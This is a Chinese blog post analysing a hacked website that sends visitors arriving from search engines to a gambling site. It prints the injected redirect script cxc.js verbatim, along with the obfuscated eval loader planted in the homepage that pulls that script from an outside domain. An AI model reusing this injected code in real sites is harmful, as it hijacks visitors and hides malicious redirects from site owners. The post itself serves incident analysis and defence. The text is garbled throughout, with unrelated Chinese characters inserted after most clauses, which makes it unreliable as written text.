起因侈净,在下班準(zhǔn)備回家之際,收到幾條朋友發(fā)來的信息归苍,說他的網(wǎng)站在百度搜索做信息流廣告推廣用狱,但是從百度搜索點擊打開就會跳轉(zhuǎn)的博彩網(wǎng)站,讓我?guī)兔ε挪橄聠栴}拼弃,是不是被掛馬了夏伊,于是乎就開始了后面的故事
為了保護(hù)網(wǎng)站隱私,假定網(wǎng)站地址是:http://www.xxx.com
收到消息后我嘗試操作并收集到下面現(xiàn)象內(nèi)容:
現(xiàn)象1:通過域名直接打開網(wǎng)站吻氧,可以正常打開溺忧,不會跳轉(zhuǎn)到博彩站
現(xiàn)象2:通過百度/搜狗搜索引擎,搜索到網(wǎng)站后點擊打開就會跳轉(zhuǎn)到博彩站
開始排查
- 網(wǎng)站是怎么跳轉(zhuǎn)的盯孙?
網(wǎng)站跳轉(zhuǎn)無非就是這兩種:服務(wù)端重定向跳轉(zhuǎn)/前端JS觸發(fā)跳轉(zhuǎn)鲁森,我開始用Charles抓包,列出抓包請求發(fā)起順序大概是這樣的(省略無關(guān)的請求):
先打開站點www.xxx.com返回Code=200振惰,不是服務(wù)端重定向Code=302歌溉,是由前端發(fā)起跳轉(zhuǎn),并且注意到:cxc.js骑晶,請求頭Referer=www.xxx.com痛垛,這個并非站點前端開發(fā)需要引入的腳本,打開地址看代碼如下:
(function () {
/*百度推送代碼*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代碼*/
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");
看代碼就知道抓到了元兇桶蛔,這里執(zhí)行了location.href到博彩站匙头,但是看主頁html源碼里并沒有cxc.js的引入,繼續(xù)后面的排查
- cxc.js是如何在主頁里引入的仔雷?
帶著這個疑問蹂析,打開了首頁源碼舔示,大概過了下,沒有發(fā)現(xiàn)引入腳本的地方电抚,就開始懷疑是不是動態(tài)引入的惕稻,再次查看源碼,看到一段被混淆加密壓縮過代碼:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\'\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\');',28,28,'x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38'.split('|'),0,{}))
感覺事蹊蹺喻频,不管三七二十一先到谷歌開發(fā)者工具控制臺里執(zhí)行看看缩宜,截取重要提示信息:
A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write
明了了,就是這段腳本把cxc.js動態(tài)的引入到站點里甥温,現(xiàn)在跳轉(zhuǎn)的原因是找到了锻煌,但是為啥會好端端的多了這段代碼,繼續(xù)后面的分析
- 為什么主頁源碼會被篡改加入了一段腳本呢姻蚓?
站點是通過阿里云服務(wù)器的虛擬空間進(jìn)行部署的宋梧,服務(wù)器本身應(yīng)該沒有問題
目前猜測有兩種可能性:
- FTP暴力破解,成功連接上FTP后進(jìn)行篡改
- 站點安全漏洞狰挡,被上傳了木馬程序后被執(zhí)行捂龄,篡改了源碼
后面問了下FTP密碼是設(shè)置的挺簡單的,所以評估可能是FTP暴力破解導(dǎo)致加叁,細(xì)思極恐
番外倦沧,里面還有段篡改SEO關(guān)鍵詞代碼,這里也需要去掉:
篡改了keyword/description/title
問題總結(jié):
通過抓包和代碼分析可以知道跳轉(zhuǎn)到博彩站的流程是這樣的:
- 打開首頁它匕,腳本執(zhí)行了evel(混淆加密壓縮)展融,動態(tài)引入cxc.js
- 引入的cxc.js里執(zhí)行了(function (){/* 跳轉(zhuǎn)邏輯 */})(),如果站點referrer是搜索引擎過來的就跳轉(zhuǎn)到博彩站豫柬,不是就不做跳轉(zhuǎn)直接正常打開站點
- 知道原理后就很清晰明白上面現(xiàn)象的原因告希,并且可以很清楚的怎么去修復(fù)
站點源碼被侵入篡改問題:
- 站點的開發(fā)需要注意WEB安全問題,文件上傳漏洞烧给,腳本注入燕偶,SQL注入,跨站攻擊础嫡,等
- 站點的服務(wù)器/FTP/后臺賬號密碼指么,不要設(shè)置的太隨意,要有一定的復(fù)雜度榴鼎,不然很容易被暴力破解
輔助手段-網(wǎng)站安全檢測: